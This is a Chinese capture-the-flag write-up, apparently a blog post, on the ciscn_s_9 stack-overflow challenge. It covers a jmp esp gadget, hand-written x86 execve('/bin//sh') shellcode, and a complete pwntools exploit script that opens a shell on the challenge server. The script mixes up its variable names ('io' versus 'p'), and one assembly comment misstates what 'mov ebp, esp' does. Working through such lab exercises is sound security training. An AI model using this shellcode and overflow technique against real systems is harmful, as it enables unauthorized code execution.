采用汇编手写shellcode写入栈解题ciscn_s_9

pwntools工具生成的shellcode一般是70到100字节左右,采用shellocde = asm(shellcraft.sh())

而当缓冲区溢出的空间太少以至于自动生成的sc不能正常衔接ebp与返回地址时,需要手写shellocde填入缓冲区构造新的栈帧。
书写shellcode参考学习链接:

linux上的shellcode写法(pwntools,手写shell)_pwntools生成shellcode-CSDN博客

1.检查文件类型,32位,NX保护未打开。查看函数主要在pwn()部分,利用缓冲区读入的s溢出点,布局构造新的栈帧分布。

cs 复制代码
#main函数
int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h]

  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}

ida中还有hint函数,按tap键进入汇编窗口,代码如下:

cs 复制代码
push    ebp       #压入ebp
mov     ebp, esp  #将ebp的值赋予esp,及更新函数基址地址
jmp     esp       #跳转到当前函数的esp

它的作用是保存当前函数的调用者的栈帧指针(ebp),然后将当前栈指针(esp)赋值给ebp,最后通过跳转指令(jmp esp)将控制流转移到当前栈指针所指向的位置。也就是说创建了一个新的栈帧,将当前函数的栈指针设置为新的栈帧指针。利用此jmp esp的地址0x08048554作为返回地址。

2.接下来主要看栈的内部分配,已知s的输入点距离ebp为20h,加上ebp的4字节大小,共需要填充24h的shellcode(大小比这小,不够填充字节),再接上ret_addr,此时还未结束。

因为执行pop ebp 把esp栈顶的值给ebp,esp加4h,执行ret,即pop eip,把修改后的返回地址 0x08048554给eip,esp加4h,此时esp距离s是28h(有点昏,参考其他文章),原先的20h(s的缓冲区已经不够,需要增加8h的大小)需要扩充,利用sub esp,0x28;call esp结束跳转到esp,参考上图完成shellcode的写入。

汇编下的shellcode,一般得到shell都是传入"bin/sh"字符,x86下的shellcode如下:

bash 复制代码
xor eax,eax            #异或使得eax为0
xor ebx,ebx            #异或使得ebx为0
xor edx,edx            #异或使得edx为0
xor ecx,ecx            #异或使得ecx为0
push edx               #压入edx
push 0x68732f2f        #压入//sh
push 0x6e69622f        #压入/bin
mov ebx,esp            #让ebx指向esp
mov al,0xB             #给al赋值0xb
int 0x80               #执行0x80

说明:

1.小端序下的bin/sh的ASCⅡ代码反过来输入,如"h"的ASCⅡ代码为0x68,"s"为0x73,"/"为0x2f。(输入//sh的原因是为了填充满4个字节,/bin/sh和/bin//sh等同)

2.al为eax寄存器的低8位,0xb是execve的系统调用号。(之前文章记载)

wp如下:欢迎各位师傅指正!

python 复制代码
from pwn import *

io = remote('nodeX.buuoj.cn',XXXX)
#io = process('./ciscn_s_9')
context(log_level='debug',arch='i386',os='linux')

jump_esp=0x08048554

shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)

payload=shellcode.ljust(0x24,b'\x00')+p32(jump_esp)


payload+=asm("sub esp,40;call esp")

p.sendline(payload)
p.interactive()
相关推荐
小黑爱编程5 分钟前
【LInux】HTTPS是如何实现安全传输的
linux·安全·https
BeyondESH10 分钟前
Linux线程同步—竞态条件和互斥锁(C语言)
linux·服务器·c++
hanniuniu1312 分钟前
详细解读,F5服务器负载均衡的技术优势
运维·服务器·负载均衡
Narutolxy21 分钟前
Python 单元测试:深入理解与实战应用20240919
python·单元测试·log4j
鱼饼6号26 分钟前
Prometheus 上手指南
linux·运维·centos·prometheus
Asher Gu31 分钟前
Linux系统编程入门 | 模拟实现 ls -l 命令
linux
Amo Xiang44 分钟前
2024 Python3.10 系统入门+进阶(十五):文件及目录操作
开发语言·python
c无序1 小时前
【Linux进程控制】进程程序替换
linux
liangbm31 小时前
数学建模笔记——动态规划
笔记·python·算法·数学建模·动态规划·背包问题·优化问题
B站计算机毕业设计超人1 小时前
计算机毕业设计Python+Flask微博情感分析 微博舆情预测 微博爬虫 微博大数据 舆情分析系统 大数据毕业设计 NLP文本分类 机器学习 深度学习 AI
爬虫·python·深度学习·算法·机器学习·自然语言处理·数据可视化